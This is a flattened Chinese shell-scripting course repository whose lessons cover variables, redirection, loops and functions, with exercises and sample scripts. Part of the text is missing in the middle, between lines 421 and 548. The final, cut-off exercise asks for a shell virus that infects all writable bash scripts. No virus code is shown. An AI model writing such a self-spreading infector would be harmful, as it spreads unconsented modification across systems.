├── 00_shell_variables.md ├── 01_shell_flow_control_statement.md ├── 02_shell_regular_expression.md ├── 03_shell_sed_awk.md ├── 04_shell_brackets.md ├── README.md ├── UP210_shell ├── 00_shell_variables.pdf ├── 01_shell_flow_control_statement.pdf ├── 02_shell_regular_expression.pdf ├── 03_shell_sed_awk.pdf ├── 04_shell_brackets.pdf ├── shell上机.pdf └── shell笔试.pdf ├── books ├── 1-Shell课程结构.png ├── Shell Script 教程.pdf └── awk 学习.png ├── exam ├── shelltest.sh ├── shell上机.md └── shell笔试.md ├── pic ├── 01.png ├── 02.png ├── 03.png └── Thumbs.db └── sides ├── dns.sh ├── dns_auto.sh ├── game └── mysqlbinlog.row /00_shell_variables.md: -------------------------------------------------------------------------------- 1 | # Shell Scripts 2 | 3 | [TOC] 4 | 5 | --- 6 | ## 教学环境介绍 7 | 8 | * client rhel7.2 172.25.0.10 9 | * server rhel7.2 172.25.0.11 10 | 11 | 如果真的想走IT这条路,想真正管理好你的主机,那么学习自动化管理工具Shell Scripts 非常重要! 12 | 13 | 就是将一些命令放在一起去执行,并且不需要编译就能执行,很方便,所以在日常工作中可以用shell scripts来简化我们的管理。可以但到我们linux中,很多服务的启动都是透过shell脚本来启动的。 14 | 15 | 如果你不会脚本,那么服务器出问题的时候,真的会求助无门,所以好好地学习吧! 16 | 17 | ## shell 简介 18 | 19 | ### 什么是 shell 20 | 21 | Shell 是一个命令解释器 , 是人与操作系统之间的桥梁。 22 | 23 | ![03.png](pic/03.png) 24 | 25 | 我们平时无论任何操作 , 最终都要操作硬件 , 比如输入一个字符 “ a ”, 那么信号 首先会从键盘传递到主板 , 通过主板总线传递到内存 ,CPU, 显卡等 , 最终经过显卡的运 算完成后在屏幕的某个位置 , 显示一个特定字体的字符 “a ”, 这一整个过程可以说是 不断的和硬件打交道了 , 但是如果让人去发送这些硬件操作码显然不适合 , 因为这不是人干 的事 , 所以我们有了操作系统 , 操作系统通过加载一定的硬件驱动 , 从而控制硬件 , 操作硬 件 , 那剩下的事就是如何和操作系统通信了 , 对于普通的系统管理员来说 , 这也是一件非常 困难的事 , 为了方便人和操作系统沟通 , 我们开发了 shell 。 26 | 27 | Shell 可以将我们平时运行的一些指令解释给操作系统执行 , 方便管理员操作系统。 而 Shell 的脚本其实是一种命令的堆积 , 我们将所有需要执行的命令 , 以从上至下的方 式写在一个文件当中 , 交给 shell 去自动解释执行。 28 | 29 | ### shell 历史 30 | 31 | 在 AT&T 的 Dennis Ritchie 和 Ken Thompson 设计 UNIXTM 的时候 , 他们想要为 用户创建一种与他们的新系统交流的方法。 那时的操作系统带有命令解释器。命令解释器接受用户的命令 , 然后解释它们 , 因而计 算机可以使用这些命令。 32 | 33 | 但是 Ritchie 和 Thompson 想要的不只是这些功能 , 他们想提供比当时的命令解释器 具备更优异功能的工具。这导致了 Bourne shell( 通称为 sh) 的开发 , 由 S.R. Bourne 创 建。自从 Bourne shell 的创建 , 其它 shell 也被一一开发 , 如 C shell(csh) 和 Korn shell(ksh) 。 34 | 35 | 当自由软件基金会想寻求一种免费的 shell, 开发者们开始致力于 Bourne shell 以及当 时其它 shell 中某些很受欢迎的功能背后的语言。 36 | 37 | 这个开发结果是 Bourne Again Shell, 或称 bash 。虽然你的 Red Hat Linux 包括几 种不同的 shell,bash 是为互动用户提供的默认 shell 。 38 | 39 | ### 常见的 shell 40 | 41 | * Bourne shell 即 sh:AT&T 贝尔实验室编写的一个交换式的命令解释器。 42 | * C Shell :Bill Joy 于 20 世纪 80 年代早期开发。为了让用户更容易的使用 , 他把语法 结构变成了 C 语言风格。它新增了命令历史、别名、文件名替换、作业控制等功能。 43 | * korn shell (ksh) 是一个 Unix shell 。它由贝尔实验室的 David Korn 在二十世纪八十 年代早期编写。它完全向上兼容 Bourne shell 并包含了 C shell 的很多特性。 44 | * Bourne-Again Shell: bash 是一个为 GNU 项目编写的 Unix shell 。它的名字是一 系列缩写 :Bourne-Again SHell — 这是关于 Bourne shell(sh) 的一个双关语 (Bourne again / born again) 。 Bourne shell 是一个早期的重要 shell, 由 Stephen Bourne 在 1978 年前后编写 , 并同 Version 7 Unix 一起发布。 bash 则在1987 年由 Brian Fox 创造。 在 1990 年 ,Chet Ramey 成为了主要的维护者。 bash 是大多数 Linux 系统以及 Mac OS X v10.4 默认的 shell, 它能运行于大多数 Unix 风格的操作系统之上 , 甚至被移植到了 MicrosoftWindows 上的 Cygwin 和 MSYS 系统中 , 以实现 windows 的 POSIX 虚拟接口。此外 , 它也被 DJGPP 项目移植到了 MS- DOS 上。 45 | * POSIX shell :POSIX shell 与 Korn shell 非常的相似 , 当前提供 POSIX shell 的最 大卖主是 Hewlett-Packard 。 46 | 47 | ### 为什么 Shell 48 | 49 | * 解决重复操作的作业。 50 | * 节约时间 , 提高工作效率。 51 | * 功能强大 , 使用简单。 52 | 53 | 54 | ```bash 55 | # 1.查看系统当中合法的shell 56 | cat /etc/shells 57 | 58 | 59 | # /etc/shells: valid login shells 60 | /bin/sh 61 | /bin/dash 62 | /bin/bash 63 | /bin/rbash 64 | ``` 65 | 66 | 67 | ```bash 68 | # 2.修改用户登录时使用的shell程序 69 | useradd batman 70 | chsh -s /bin/sh batman 71 | grep batman /etc/passwd 72 | ``` 73 | 74 | useradd: Permission denied. 75 | useradd: cannot lock /etc/passwd; try again later. 76 | chsh: user 'batman' does not exist 77 | 78 | 79 | 80 | ```bash 81 | # 3.用户的登录流程 82 | 83 | ![01](pic/01.png) 84 | 85 | ## 对于所有的用户HISTSIZE 500 ,对于root用户HISTSIZE 1000 86 | /etc/profile start 87 | /etc/profile end 88 | 89 | ~/.bash_profile start 90 | ~/.bashrc start 91 | /etc/bashrc start 92 | 93 | /etc/bashrc end 94 | ~/.bashrc end 95 | ~/.bash_profile end 96 | ``` 97 | 98 | ## shell的变量功能 99 | 100 | ### 什么是变量 101 | 102 | * 让一个特定的字符代表不固定的内容,有点像y=ax+b,y就是变量, 103 | * 用简单的字眼来代替比较复杂或者容易变动的数据,好处就是方便! 104 | 105 | 比如系统中的MAIL和USER变量,根据当前登陆的用户而变化 106 | 107 | * 对脚本的用处——例如ule考试的评分脚本,根据你们的机器号的不同,去检测不同的学生考试成绩 108 | 109 | ### 变量的设置、查看和取消 echo unset 110 | 111 | 112 | 113 | ```shell 114 | 查看 echo ${MAIL} 115 | echo $MAIL 116 | 设置 变量名=变量的内容 117 | myname=booboo 118 | myname="booboo wei" 119 | 注意事项 120 | 变量命名规则: 121 | 1.由数字,字母,下划线_组成 122 | 2.不能以数字开头 123 | 3.字母区分大小写,大小写敏感 124 | 变量内容若有空格,可以使用单引号或者双引号 125 | 双引号保留特殊字符原有属性 126 | 单引号特殊字符变一般字符(纯文本) 127 | 也可使用\跳脱字符将特殊字符变成一般字符 128 | `指令`或$(指令)可以将指令的结果变成变量内容 129 | 取消 unset 变量名 130 | unset myname 131 | ``` 132 | 133 | #### 课堂练习 134 | 1. 设置变量myname=superman并查看变量的值; 135 | 2. 设置变量myname1=I am superman 136 | myname2="I am superman" 137 | myname3='I am superman'并查看所有变量的值; 138 | 3. 设置两个变量分别为name1="$myname is myname"和name2='$myname is myname';并查看变量的值; 139 | 4. 设置变量kernel的值为当前系统的内核版本号; 140 | 5. 设置变量num的值为/etc/目录下所有以.conf结尾的文件的总数; 141 | 6. 取消练习中的有所变量。 142 | 143 | ![02](pic/02.png) 144 | 145 | 146 | ### 变量内容的删除和替换 147 | 148 | ```shell 149 | 变量设定方式 说明 150 | ${变量#关键词} 若变量内容从头开始的数据符合『关键词』,则将符合的最短数据删除 151 | ${变量##关键词} 若变量内容从头开始的数据符合『关键词』,则将符合的最长数据删除 152 | ${变量%关键词} 若变量内容从尾向前的数据符合『关键词』,则将符合的最短数据删除 153 | ${变量%%关键词} 若变量内容从尾向前的数据符合『关键词』,则将符合的最长数据删除 154 | ${变量/旧字符串/新字符串} 若变量内容符合『旧字符串』则『第一个旧字符串会被新字符串替换』 155 | ${变量//旧字符串/新字符串} 若变量内容符合『旧字符串』则『全部的旧字符串会被新字符串替换』 156 | ``` 157 | 158 | 159 | #### 课堂练习 160 | 161 | 1. 设置变量path=${PATH} 并查看; 162 | 2. 设置变量path=/batman/bin:${path}:/superman/bin 并查看; 163 | 3. 读取变量的时候将/batman/bin:及第一个冒号及之前的删除; 164 | 4. 读取变量的时候将最后一个冒号及之前的都删除; 165 | 5. 读取变量的时候将:/superman/bin及最后一个冒号及之后的删除; 166 | 6. 读取变量的时候将第一个冒号及之后的都删除; 167 | 7. 读取变量的时候将第一个sbin替换成SBIN; 168 | 8. 读取变量的时候将所有的sbin替换成SBIN; 169 | 9. 取消练习中的path变量。 170 | 171 | 172 | 173 | ### 变量的分类:局部变量和全局变量 env set export 174 | 175 | * 分类标准 变量是否会被子程序所继续引用;局部变量不会;全局变量会 176 | * env 列出目前shell环境下的所有全局变量 177 | * set 查看所有变量,包括环境变量和局部变量 178 | * export 将局部变量转成全局变量 export myname 179 | 180 | #### 课堂练习 181 | 182 | 1. 打开一个终端bash,查看该终端的pid号; 183 | 2. 设置本地变量justice1="this is local"并查看; 184 | 3. 设置环境变量justice2="this is env"并查看; 185 | 4. 打开子终端bash,查看该终端的pid号和ppid号; 186 | 5. 在子终端中分别查看变量justice1和justice2的值; 187 | 188 | 189 | ### 变量读取、数组与宣告 read array declare 190 | 191 | ```shell 192 | read 从键盘读取数据存入变量 193 | read -p "plz input yourname:" -t 30 name 按下回车输入变量name的值,会等待30s结束 194 | array 195 | 数组的设定 A[0]=1;A[1]=2;A[2]=3 196 | A=(1 2 3) 197 | A=(1 2 3 [50]=4) 198 | A=(1 2 3 [50]=4 5) 199 | 数组的读取 echo ${A[0]} 200 | echo ${A[@]} 201 | echo ${A[*]} 202 | * 代表的是一次取出所有的值 ,@ 代表依次取值 203 | for i in "$A[@]";do echo $i;done 204 | for i in "$A[*]";do echo $i;done 205 | declare 206 | declare 参数 207 | -a 将变量看成数组 208 | -i 将变量看成整数 209 | -r 使变量只读 210 | x=1 211 | y=2 212 | sum=$(($x+$y)) 213 | ``` 214 | 215 | #### 课堂练习 216 | 217 | 1. 用read命令从键盘读取num变量的值,提示语句为“请输入你的机器号:”,限时间20s; 218 | 2. 设置数组S 第一位为1,第二位为2,第三十位为4,第三十一位为5,读取数组所有的值,读取数组第二位; 219 | 3. 设置变量x=1,y=2,变量sum=$x+$y,查看sum的值; 220 | 4. 宣告变量x为整数型值为1,变量y为整数型值为2,变量sum为整数型=$x+$y,查看sum的值; 221 | 222 | ## 数据流重导向redirection 223 | 224 | 225 | ### 何谓数据流重导向 226 | 227 | ```shell 228 | 指令执行后的结果有: 229 | exit 命令执行是否正确的返回值? 0正确;!0错误 简称 代码 符号 230 | return 命令执行输出的正确信息 standard output stdout 1 >或者>> 231 | 命令执行输出的错误信息 standard error output stderr 2 2>或者2>> 232 | 指令执行前的输入: 命令执行输入的信息 standard in stdin 0 <或者<< 233 | 234 | 用法总结 235 | 1> :以覆盖的方法将『正确的数据』输出到指定的文件中; 236 | 1>>:以追加的方法将『正确的数据』输出到指定的文件中; 237 | 2> :以覆盖的方法将『错误的数据』输出到指定的文件中; 238 | 2>>:以追加的方法将『错误的数据』输出到指定的文件中; 239 | 240 | cat 从键盘读取数据存入文件 241 | cat > /tmp/catfile 以ctrl+d结束 242 | cat > /tmp/catfile < /tmp/passwd 243 | cat > /tmp/catfile << ENDF 244 | standard in 245 | ENDF===>结束提示符 246 | ``` 247 | 248 | #### 课堂练习 249 | 250 | 1. 查看系统/目录下的所有文件名和属性,并记录到/tmp/file文件中; 251 | 2. 查看系统/var/目录下的所有文件名和属性,并追加记录到/tmp/file文件中; 252 | 3. 切换到student用户,在/home目录下查找文件名为.bashrc的文件是否存在; 253 | 4. 切换到student用户,在/home目录下查找文件名为.bashrc的文件,将该命令执行输出的正确信息显示到屏幕上,将该命令执行输出的错误信息放到黑洞/dev/null中; 254 | 5. 切换到student用户,在/home目录下查找文件名为.bashrc的文件,将该命令执行输出的正确信息保存到/tmp/stdout文件中并查看,将该命令执行输出的错误信息放到黑洞/dev/null中; 255 | 6. 切换到student用户,在/home目录下查找文件名为.bashrc的文件,将该命令执行输出的正确信息保存到/tmp/stdout文件中,将该命令执行输出的错误信息保存到/tmp/stderr文件中,并查看; 256 | 7. 切换到student用户,在/home目录下查找文件名为.bashrc的文件,将该命令执行输出的所有信息(正确和错误)都保存到/tmp/all中,并查看; 257 | 8. 使用cat命令从键盘读取数据helloword并覆盖/tmp/catfile文件; 258 | 9. 使用cat命令将/etc/passwd/的内容覆盖/tmp/catfile文件; 259 | 10. 使用cat命令从键盘读取数据helloword并覆盖/tmp/catfile文件,以结束提示符的方式结束; 260 | 261 | ### 命令执行的判断依据 ; && || 262 | 263 | * CMD1 && CMD2 如果前一个命令 (CMD1) 能够正确被执行 , 则执行后一个命令 (CMD2) 264 | * CMD1 || CMD2 如果前一个命令 (CMD1) 被正确执行 , 则不执行后一个命令 (CMD2), 如果前一个命令(CMD1) 执行错误 , 则执行后一个命令 (CMD2). 265 | * CMD1 ; CMD2 命令之间没有关系,从第一个开始执行,不管是否正确执行都会去执行第二个命令 266 | 267 | 268 | #### 课堂实验 269 | 270 | 1. 创建目录/tmp/cmd,如果创建成功那么就再创建一个目录/tmp/cmd/cdm1; 271 | 2. 创建目录/tmp/cmd,如果创建失败,那么就再船舰一个目录/tmp/cmd/cmd2; 272 | 3. 不管目录/tmp/cmd是否创建成功,都会去再创建一个目录/tmp/tmpcmd; 273 | 274 | 275 | ### 管道命令pipe 276 | 277 | ```shell 278 | #截取 grep cut 279 | grep bash$ /etc/passwd 280 | cut -d : -f 3 /etc/passwd 281 | #排序 sort uniq 282 | sort -t: -k3 -n /etc/passwd 283 | #统计 wc 284 | wc -l /etc/passwd 285 | #替换 xargs 286 | find /sbin/ -perm +7000|wc -l 287 | find /sbin/ -perm +7000|xargs wc -l 288 | 289 | 课堂练习: 290 | 1.找出/sbin/目录下有特殊权限的文件,并统计每个文件的行数 291 | 2.找出/sbin/目录下有特殊权限的文件,并统计有几个 292 | 293 | #减号 - 294 | 课堂练习: 295 | 1.将/home目录打包压缩后解压到/tmp目录 296 | ``` 297 | 298 | 299 | 300 | ### shell下的特殊符号 301 | # 注释符 302 | \ 跳脱符 303 | | 管道 304 | ; 连续指令的下达 305 | ~ 家目录 306 | $ 取用变量符 307 | & 进程控制后台运行 308 | ! 逻辑运算非 309 | / 根目录 310 | >,>> 数据流重导向 输出 311 | <,<< 数据流重导向 输入 312 | '' 特殊字符失效 313 | "" 特殊字符有效 314 | `` 命令执行的结果 315 | {} 命令的组合 316 | -------------------------------------------------------------------------------- /01_shell_flow_control_statement.md: -------------------------------------------------------------------------------- 1 | ## shell 脚本 2 | 3 | [TOC] 4 | 5 | --- 6 | 1. shell 的基本组成元素 7 | * 1> 魔法字符 “ #! ”: 出现在脚本第一行 , 用于定义命令解释器。 8 | * 2> “ # ” 号开头的行 : 除了第一行的魔法字符以外 , 其他以 ” # “ 号开头 的行是注示。这些行不会被运行 , 只是给人阅读使用。 9 | * 3> 系统命令 :shell 脚本中运行解释的系统命令。 10 | * 4> 变量 : 脚本运行过程中某些反复调用的值的暂存地。 11 | * 5> 流程控制语句 : 判断 , 循环 , 跳转等流程控制。 12 | 13 | 2. 执行脚本的方法 14 | * 1> bash 脚本名称 bash -x 以调试模式来运行脚本 15 | * 2> ./ 脚本名称 --> 需要对脚本有可执行的权限 16 | 17 | 3. shell的基本语法 18 | * 条件判断语句 if test 19 | * 循环语句 for while unitl 20 | * 其他流程控制 case continue break shift function 21 | 22 | 23 | ### 判断条件 24 | 25 | test 判断—————man test 查看的相关的判断指令 26 | 27 | ```shell 28 | 数字的判断 字符的判断 文件的判断 29 | -gt 大于 -z 空 -d 文件是不是一个目录 30 | -ge 大于等于 = 字符相等 -f 是不是一个普通文件 31 | -lt 小于 != 字符不相等 -e 文件是不是存在 32 | -le 小于等于 -n 非空 33 | -ne 不等于 -a 逻辑与 34 | -eq 等于 -o 逻辑或 35 | ``` 36 | 注意 : 37 | * [ ] 括号两边有空格 38 | * 判断符号两边有空格 39 | 40 | 41 | ### if 语法格式 42 | ```shell 43 | if condition -->condition 指的是判断的条件 44 | then 45 | CMD1 --> CMD1 指的是满足判断条件后执行的语句 46 | else 47 | CMD2 --> CMD2 指的是不满足判断条件执行的语句 then 48 | fi 49 | 50 | if condition 51 | then 52 | CMD1 53 | elif condition 54 | CMD2 55 | else 56 | CMD3 57 | fi 58 | ``` 59 | #### 课堂练习 60 | 61 | 1. 写一个脚本,判断用户是否存在,如果存在则删除。若不存在,就提示不存在。 62 | 2. 三个数字比大小,输出最大的 63 | 3. 三个数字比大小,并且按从大到小排列 64 | 65 | 66 | ```bash 67 | [#74#root@client0 ~]#cat usertest.sh 68 | #!/bin/bash 69 | read -p "plz input username:" user 70 | if id $user &> /dev/null 71 | then 72 | userdel -r $user 73 | else 74 | echo "student not exits" 75 | fi 76 | [#75#root@client0 ~]#cat num.sh 77 | #!/bin/bash 78 | if [ $1 -gt $2 ] 79 | then 80 | if [ $1 -gt $3 ] 81 | then 82 | echo "max is $1" 83 | else 84 | echo "max is $3" 85 | fi 86 | else 87 | if [ $2 -gt $3 ] 88 | then 89 | echo "max is $2" 90 | else 91 | echo "max is $3" 92 | fi 93 | fi 94 | echo ${#} 95 | [#76#root@client0 ~]#bash num.sh 9 8 80 96 | max is 80 97 | 3 98 | [#99#root@client0 ~]#cat sort.sh 99 | #!/bin/bash 100 | if [ $1 -ge $2 ] 101 | then 102 | n1=$1 103 | n2=$2 104 | else 105 | n1=$2 106 | n2=$1 107 | fi 108 | 109 | if [ $n1 -ge $3 ] 110 | then 111 | max=$n1 112 | if [ $n2 -ge $3 ] 113 | then 114 | be=$n2 115 | min=$3 116 | else 117 | be=$3 118 | min=$n2 119 | fi 120 | else 121 | max=$3 122 | be=$n1 123 | min=$n2 124 | fi 125 | 126 | echo $max $be $min 127 | [#101#root@client0 ~]#bash sort.sh 3 8 1 128 | 8 3 1 129 | 130 | ``` 131 | 132 | 133 | ### for 语法格式 134 | ```shell 135 | for 变量 in 取值范围 136 | do 137 | CMD 138 | done 139 | ``` 140 | #### 取值范围 141 | 142 | * 以空格分割 143 | 144 | for i in 1 2 3 145 | for i in 5 7 10 146 | for i in a b c 147 | 例子: 148 | ~~~ 149 | for i in 10 11 150 | do 151 | ssh root@172.25.0.$i "yum install -y wget" 152 | done 153 | for i in xx uu 154 | do 155 | ls /tmp/$i 156 | done 157 | ~~~ 158 | 159 | * 以{}罗列 {1..10} 160 | ~~~ 161 | 可以使用seq $(seq 1 10)==>1 2 3 4 5 6 7 8 9 10 162 | `seq 1 10` 163 | seq 1 2 10==>1 3 5 7 9 164 | seq 10 -1 1==>10 9 8 7 6 5 4 3 2 1 165 | ~~~ 166 | 167 | #### 命令行方式 168 | for i in {1..10};do echo $i;done 169 | 170 | #### 课堂练习 171 | 172 | 1. 统计当前系统一共有多少个用户,并且向每个用户问好,屏幕输出“hello $username,your uid is $uid” 173 | 2. 依次向/var/目录下的每个文件问好“hello $file” ,统计一共有多少个文件 174 | 3. 输入用户名,当前系统中属于该用户的所有文件都会打印在屏幕上,并且告诉你文件大小超过$size的文件有哪些 175 | 4. 计算某个命令执行的时间 176 | 177 | 178 | ```bash 179 | [root@client47 ~]# cat for1.sh 180 | #!/bin/bash 181 | echo 系统中一共有:`cat /etc/passwd |wc -l`个用户 182 | for i in `cut -d ":" -f 1 /etc/passwd 2>/dev/null` 183 | do 184 | username=$i 185 | uid=`grep ^$i /etc/passwd |cut -d ":" -f 3 2>/dev/null` 186 | echo "hello $username,your uid is $uid" 187 | done 188 | [root@client47 ~]# bash for1.sh 189 | 系统中一共有:22个用户 190 | hello root,your uid is 0 191 | hello bin,your uid is 1 192 | hello daemon,your uid is 2 193 | hello adm,your uid is 3 194 | hello lp,your uid is 4 195 | hello sync,your uid is 5 196 | hello shutdown,your uid is 6 197 | hello halt,your uid is 7 198 | hello mail,your uid is 8 199 | hello operator,your uid is 11 200 | hello games,your uid is 12 201 | hello ftp,your uid is 14 202 | hello nobody,your uid is 99 203 | hello avahi-autoipd,your uid is 170 204 | hello systemd-bus-proxy,your uid is 999 205 | hello systemd-network,your uid is 998 206 | hello dbus,your uid is 81 207 | hello polkitd,your uid is 997 208 | hello tss,your uid is 59 209 | hello postfix,your uid is 89 210 | hello sshd,your uid is 74 211 | hello student,your uid is 1000 212 | 213 | [root@client47 ~]# cat for2.sh 214 | #!/bin/bash 215 | for i in `ls /var/` 216 | do 217 | echo hello $i 218 | done 219 | 220 | echo /var目录中一共有`ls -l /var/|wc -l`个文件 221 | [root@client47 ~]# bash for2.sh 222 | hello adm 223 | hello cache 224 | hello crash 225 | hello db 226 | hello empty 227 | hello games 228 | hello gopher 229 | hello kerberos 230 | hello lib 231 | hello local 232 | hello lock 233 | hello log 234 | hello mail 235 | hello nis 236 | hello opt 237 | hello preserve 238 | hello run 239 | hello spool 240 | hello tmp 241 | hello yp 242 | /var目录中一共有21个文件 243 | 244 | [root@client47 ~]# cat for3.sh 245 | #!/bin/bash 246 | read -p "请输入用户名:" username 247 | read -p "请输入文件SIZE的最大值:" size 248 | 249 | find / -user $username -size +$size 2>/dev/null 250 | [root@client47 ~]# bash for3.sh 251 | 请输入用户名:root 252 | 请输入文件SIZE的最大值:500M 253 | /proc/kcore 254 | [root@client47 ~]# bash for3.sh 255 | 请输入用户名:root 256 | 请输入文件SIZE的最大值:100M 257 | /proc/kcore 258 | /usr/lib/locale/locale-archive 259 | 260 | 261 | [root@client47 ~]# cat for4.sh 262 | #!/bin/bash 263 | read -p "plz input CMD:" cmd 264 | start=`date +%s` 265 | $cmd &> /dev/null 266 | end=`date +%s` 267 | time=$(($end-$start)) 268 | echo $cmd 执行的时间为 $time 269 | [root@client47 ~]# bash for4.sh 270 | plz input CMD:xz -d /tmp/big.xz 271 | xz -d /tmp/big.xz 执行的时间为 2 272 | ``` 273 | 274 | #### 拓展题 275 | 1. 画斜线正反 276 | ```shell 277 | * 278 | * 279 | * 280 | * 281 | ``` 282 | 2.写一个9*9乘法表 283 | 284 | 285 | ```bash 286 | [root@client0 ~]# cat x1.sh 287 | #!/bin/bash 288 | #行数 空格 *数量 289 | #1 0 1 290 | #2 1 1 291 | #3 2 1 292 | #n n-1 1 293 | 294 | 295 | for i in `seq 1 $1` 296 | do 297 | for j in `seq 1 $(($i-1))` 298 | do 299 | echo -n ' ' 300 | done 301 | echo '*' 302 | done 303 | 304 | [root@client0 ~]# bash x1.sh 4 305 | * 306 | * 307 | * 308 | * 309 | 310 | 311 | [root@client0 ~]# cat x2.sh 312 | #!/bin/bash 313 | #1*1=1 314 | #2*1=2 2*2=4 315 | #3*1=3 3*2 3*3 316 | #9*1 9*2 9*9= 317 | 318 | for i in `seq 1 9` 319 | do 320 | for j in `seq 1 $i` 321 | do 322 | echo -n "$i*$j=$(($i*$j)) " 323 | done 324 | echo 325 | done 326 | 327 | 328 | 329 | [root@client0 ~]# bash x2.sh 330 | 1*1=1 331 | 2*1=2 2*2=4 332 | 3*1=3 3*2=6 3*3=9 333 | 4*1=4 4*2=8 4*3=12 4*4=16 334 | 5*1=5 5*2=10 5*3=15 5*4=20 5*5=25 335 | 6*1=6 6*2=12 6*3=18 6*4=24 6*5=30 6*6=36 336 | 7*1=7 7*2=14 7*3=21 7*4=28 7*5=35 7*6=42 7*7=49 337 | 8*1=8 8*2=16 8*3=24 8*4=32 8*5=40 8*6=48 8*7=56 8*8=64 338 | 9*1=9 9*2=18 9*3=27 9*4=36 9*5=45 9*6=54 9*7=63 9*8=72 9*9=81 339 | ``` 340 | 341 | ### while 语法格式 342 | 343 | ```shell 344 | while condition 指的是判断的条件 345 | do 346 | CMD 347 | done 348 | 数字的判断 字符的判断 文件的判断 349 | -gt 大于 -z 空 -d 文件是不是一个目录 350 | -ge 大于等于 = 字符相等 -f 是不是一个普通文件 351 | -lt 小于 != 字符不相等 -e 文件是不是存在 352 | -le 小于等于 -n 非空 353 | -ne 不等于 -a 逻辑与 354 | -eq 等于 -o 逻辑或 355 | ``` 356 | 357 | 358 | 1. 当什么的时候就做什么,体验无限循环 359 | ```shell 360 | #!/bin/bash 361 | touch /tmp/whilefile 362 | while [ -f /tmp/whilefile ] 363 | do 364 | cat >> /tmp/whilefile << ENDF 365 | 当山峰没有棱角的时候 366 | 当河水不再流 367 | 。。。 368 | 我哈哈ishi 369 | ENDF 370 | 371 | done 372 | ``` 373 | 2. 不满足条件跳出循环 374 | ```shell 375 | 判断/tmp/whilefile2是否存在,不存在的时候我们去创建 376 | #!/bin/bash 377 | while [ ! -e /tmp/whilefile2 ] 378 | do 379 | cat > /tmp/whilefile2 << ENDF 380 | hello 381 | ENDF 382 | 383 | done 384 | ``` 385 | 386 | 387 | ### until 语法格式 388 | ```shell 389 | until condition --> 不满足 condition, 则执行 cmd 390 | do 391 | CMD 392 | done 393 | ``` 394 | 395 | #### 课堂练习 396 | 1. 连乘算法 while和until 397 | 2. 要求根据userlist创建用户,要求指定用户名,用户id,用户的附加组及变更用户u密码,若对应用户的附加组不存在,则将附加组创建出来后再根据要求添加用户。 398 | userlist文件的格式如下: 399 | carol 777 tom uplooking 400 | natasha 778 tom uplooking 401 | r1 779 tom uplooking 402 | 3. 要求根据userlist创建用户,要求指定用户名,用户id,用户的默认组和附加组及变更用户u密码,若对应用户的附加组不存在,则将附加组创建出来后再根据要求添加用户。 403 | [root@rhel6 ~]# cat /tmp/useraddlist1 404 | dabao 888 xuexi,it uplooking 405 | lucy 889 sales,it uplooking 406 | lily 899 pro,aa uplooking 407 | 408 | 409 | 410 | ```bash 411 | [root@client0 ~]# cat useradd.sh 412 | #!/bin/bash 413 | while read a 414 | do 415 | A=($a) 416 | groupadd ${A[2]} &> /dev/null 417 | useradd -u ${A[1]} -G ${A[2]} ${A[0]} &> /dev/null 418 | echo ${A[3]}|passwd --stdin ${A[0]} &> /dev/null 419 | id ${A[0]} 420 | 421 | done/dev/null` 548 | do 549 | echo $i 550 | break 551 | done 552 | 553 | ``` 554 | 555 | ### shift 语法格式 556 | 557 | 位置参数 558 | ```shell 559 | $1 代表的是输入的第一个参数 560 | $2 代表的是输入的第二个参数 .... 561 | $0 代表的是 bash 程序本身名 562 | $# 代表的是参数的个数 563 | ${10} 超过的两位的 564 | ${*}或者${@} 代表将所有位置参数 565 | shift 代表移走第一位位置参数 , 由后续的位置参数前移一位 . 566 | ``` 567 | #### 课堂练习 568 | 4. 显示位置参数的值,以及可执行脚本名称,参数的总数 569 | 570 | ### function 语法格式 571 | functname () 572 | { 573 | shell commands 574 | } 575 | 576 | * 函数的调用 577 | 578 | 1. 直接调用函数– 函数名 579 | 2. 传入参数– 函数名 参数1 参数2 参数3 580 | 3. 使用return返回函数结束状态 581 | 582 | * 函数中的局部变量和全局变量 583 | 584 | 默认为全局变量,因此不同的函数不可以使用同一个变量; 585 | 如果要变成局部变量,需要使用local来修饰,那么不同的函数就不能访问到这个局部变量。 586 | 587 | * 函数返回值 return 588 | 可以使用return命令来设置返回值; 589 | 590 | 例如 return 0 591 | 592 | 593 | ```bash 594 | #### 课堂练习 595 | 596 | 5. 创建一个命令booboo,命令用法如下: 597 | booboo -t 30s 代表睡30s;即-t后跟时间 598 | booboo -l /tmp 代表显示某个目录下面的内容和属性以及目录本身的属性 599 | booboo -r /tmp/file 代表删除某个文件 600 | booboo --help 代表帮助信息显示该命令的用法 601 | 602 | 6. 输入你的出生日期,程序会告诉你距离你下一个生日还有几天? 603 | ``` 604 | 605 | 606 | ```bash 607 | [root@client0 ~]# cat booboo 608 | #!/bin/bash 609 | SLEEP () 610 | { 611 | sleep $1 612 | } 613 | 614 | DIR () 615 | { 616 | ls -l $1 617 | ls -ld $1 618 | } 619 | 620 | RM () 621 | { 622 | rm -rf $1 623 | } 624 | 625 | case $1 in 626 | -t) 627 | SLEEP $2;; 628 | -l) 629 | DIR $2;; 630 | -r) 631 | RM $2;; 632 | --help) 633 | echo "Usage: ls [-t|-l|-r|--help] [values]";; 634 | *) 635 | echo "Usage: ls [-t|-l|-r|--help] [values]";; 636 | esac 637 | [root@client0 ~]# ./booboo -t 3s 638 | ``` 639 | ---------- 640 | 使用bash写一个脚本实现以下功能: 641 | 1) -r 查看系统发行版本 642 | 2) -k 查看系统内核版本 643 | 3) -d 查看系统磁盘信息 644 | 4) -u 查看当前系统用户 645 | 5) -t 查看系统运行时间 646 | 6) -s 查看selinux状态 647 | 7) -f 查看内存信息 648 | 8) -n 查看网络信息 649 | 9) -a 实现以上所有功能 650 | 10)--help 查看帮助 651 | ```shell 652 | #!/bin/bash 653 | REL () { 654 | cat /etc/redhat-release 655 | } 656 | 657 | KER () { 658 | uname -a 659 | } 660 | 661 | DIS () { 662 | df -h 663 | } 664 | 665 | USR () { 666 | who 667 | } 668 | 669 | UPT () { 670 | uptime 671 | } 672 | 673 | SEL () { 674 | getenforce 675 | } 676 | 677 | FER () { 678 | free -m 679 | } 680 | 681 | NET () { 682 | ifconfig 683 | } 684 | 685 | case $1 in 686 | -r) 687 | REL;; 688 | -k) 689 | KER;; 690 | -d) 691 | DIS;; 692 | -u) 693 | USR;; 694 | -t) 695 | UPT;; 696 | -s) 697 | SEL;; 698 | -f) 699 | FER;; 700 | -n) 701 | NET;; 702 | -a) 703 | REL;KER;DIS;USR;UPT;SEL;FER;NET;; 704 | --help) 705 | echo "this is help" 706 | esac 707 | ``` 708 | ---- 709 | 用shell脚本写一个病毒,要求如下: 710 | 1. 可以感染系统中的所有Bourne-Again shell script的脚本,可执行,可写; 711 | 2. 执行感染后的bash shell脚本会输出"echo hello,I am evil!" 712 | 3. 